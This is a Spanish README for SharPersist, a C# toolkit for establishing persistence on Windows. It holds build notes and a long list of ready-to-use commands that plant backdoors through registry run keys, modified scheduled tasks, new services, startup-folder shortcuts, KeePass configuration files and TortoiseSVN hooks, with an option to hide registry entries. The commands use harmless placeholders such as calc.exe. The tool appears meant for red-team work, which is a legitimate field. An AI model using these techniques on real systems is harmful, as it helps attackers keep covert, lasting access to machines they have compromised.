
Kit de herramientas de C# para establecer y gestionar la persistencia en Windows mediante claves de registro, tareas programadas, servicios, carpetas de inicio, configuraciones de KeePass y hooks de TortoiseSVN.
Kit de herramientas de persistencia para Windows escrito en C#. Para obtener información detallada sobre el uso de cada técnica, consulta la Wiki.
Autor - Brett Hawkins (@h4wkst3r)
Sigue los pasos a continuación para configurar Visual Studio y compilar el proyecto tú mismo. Esto requiere un par de librerías .NET que se pueden instalar desde el administrador de paquetes NuGet.
En este proyecto se utilizan las siguientes librerías de terceros.
| Librería | URL | Licencia |
|---|---|---|
| TaskScheduler | https://github.com/dahall/TaskScheduler | Licencia MIT |
| Fody | https://github.com/Fody/Fody | Licencia MIT |
Install-Package Costura.Fody -Version 3.3.3Install-Package TaskScheduler -Version 2.8.11keepass - backdoor en el archivo de configuración de KeePassreg - agregar/modificar claves de registroschtaskbackdoor - backdoor en tarea programada añadiendo una acción adicional a la mismastartupfolder - archivo .lnk en la carpeta de iniciotortoisesvn - script de hook de Tortoise SVNservice - crear un nuevo servicio de Windowsschtask - crear una nueva tarea programadaadd - añadir técnica de persistenciaremove - eliminar técnica de persistenciacheck - realizar una prueba en seco (dry-run) de la técnica de persistencialist - listar las entradas actuales de la técnica de persistenciaenv - complemento opcional para ofuscar variables de entorno en el registrohourly - complemento opcional para la frecuencia de schtaskdaily - complemento opcional para la frecuencia de schtasklogon - complemento opcional para la frecuencia de schtaskhklmrunhklmrunoncehklmrunonceexhkcurunhkcurunoncelogonscriptstickynotesuserinitKeePass
SharPersist -t keepass -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "C:\Users\username\AppData\Roaming\KeePass\KeePass.config.xml" -m add
Registro
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m add
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m add -o env
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "logonscript" -m add
Backdoor en tarea programada
SharPersist -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Something Cool" -m add
Carpeta de inicio
SharPersist -t startupfolder -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "Some File" -m add
Tortoise SVN
SharPersist -t tortoisesvn -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -m add
Servicio de Windows
SharPersist -t service -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Service" -m add
Tarea programada
SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c echo 123 >> c:\123.txt" -n "Some Task" -m add
SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c echo 123 >> c:\123.txt" -n "Some Task" -m add -o hourly
KeePass
SharPersist -t keepass -f "C:\Users\username\AppData\Roaming\KeePass\KeePass.config.xml" -m remove
Registro
SharPersist -t reg -k "hkcurun" -v "Test Stuff" -m remove
SharPersist -t reg -k "hkcurun" -v "Test Stuff" -m remove -o env
SharPersist -t reg -k "logonscript" -m remove
Backdoor en tarea programada
SharPersist -t schtaskbackdoor -n "Something Cool" -m remove
Carpeta de inicio
SharPersist -t startupfolder -f "Some File" -m remove
Tortoise SVN
SharPersist -t tortoisesvn -m remove
Servicio de Windows
SharPersist -t service -n "Some Service" -m remove
Tarea programada
SharPersist -t schtask -n "Some Task" -m remove
KeePass
SharPersist -t keepass -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "C:\Users\username\AppData\Roaming\KeePass\KeePass.config.xml" -m check
Registro
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m check
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m check -o env
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "logonscript" -m check
Backdoor en tarea programada
SharPersist -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Something Cool" -m check
Carpeta de inicio
SharPersist -t startupfolder -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "Some File" -m check
Tortoise SVN
SharPersist -t tortoisesvn -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -m check
Servicio de Windows
SharPersist -t service -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Service" -m check
Tarea programada
SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c echo 123 >> c:\123.txt" -n "Some Task" -m check
SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c echo 123 >> c:\123.txt" -n "Some Task" -m check -o hourly
Registro
SharPersist -t reg -k "hkcurun" -m list
Backdoor en tarea programada
SharPersist -t schtaskbackdoor -m list
SharPersist -t schtaskbackdoor -m list -n "Some Task"
SharPersist -t schtaskbackdoor -m list -o logon
Carpeta de inicio
SharPersist -t startupfolder -m list
Servicio de Windows
SharPersist -t service -m list
SharPersist -t service -m list -n "Some Service"
Tarea programada
SharPersist -t schtask -m list
SharPersist -t schtask -m list -n "Some Task"
SharPersist -t schtask -m list -o logon